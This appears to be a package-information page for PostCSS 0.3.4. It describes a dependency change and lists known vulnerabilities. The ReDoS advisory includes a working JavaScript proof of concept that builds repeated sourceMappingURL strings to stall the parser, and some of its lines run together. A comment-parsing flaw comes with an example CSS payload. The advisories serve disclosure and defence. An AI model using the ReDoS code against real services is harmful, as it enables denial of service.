PostCSS version 0.3.4 represents a subtle but important update to the popular CSS postprocessing framework, building upon the foundation laid by version 0.3.3. Both versions share the core purpose of enabling developers to transform CSS with JavaScript, opening possibilities for automation, future syntax adoption, and powerful tooling. At their heart, they offer a robust framework for manipulating CSS ASTs (Abstract Syntax Trees).
While the core functionality remains consistent, a key difference lies in the dependency management. Version 0.3.4 introduces a change in how base64-js is handled, moving from a fixed version "0.0.6" to a more flexible "~0.0.6". This tilde range allows for minor updates within the 0.0.6 series, potentially including bug fixes and performance enhancements without introducing breaking changes. This approach to dependency management offers a balance between stability and access to improvements. The source-map dependency remains consistent across both versions, ensuring reliable source map generation for easier debugging of processed CSS.
For developers, PostCSS offers a modular architecture that facilitates the creation of custom plugins. Both versions provide the tools necessary to parse, transform, and stringify CSS, empowering developers to implement a wide range of transformations, from vendor prefixing and future CSS syntax to linting and optimization. With a growing ecosystem of plugins, PostCSS streamlines CSS workflows and enhances developer productivity. The consistent development dependencies like cssom, rework, and gonzales enable plugin developers to test their plugins effectively. The license continues to be MIT in both versions.
All the vulnerabilities related to the version 0.3.4 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.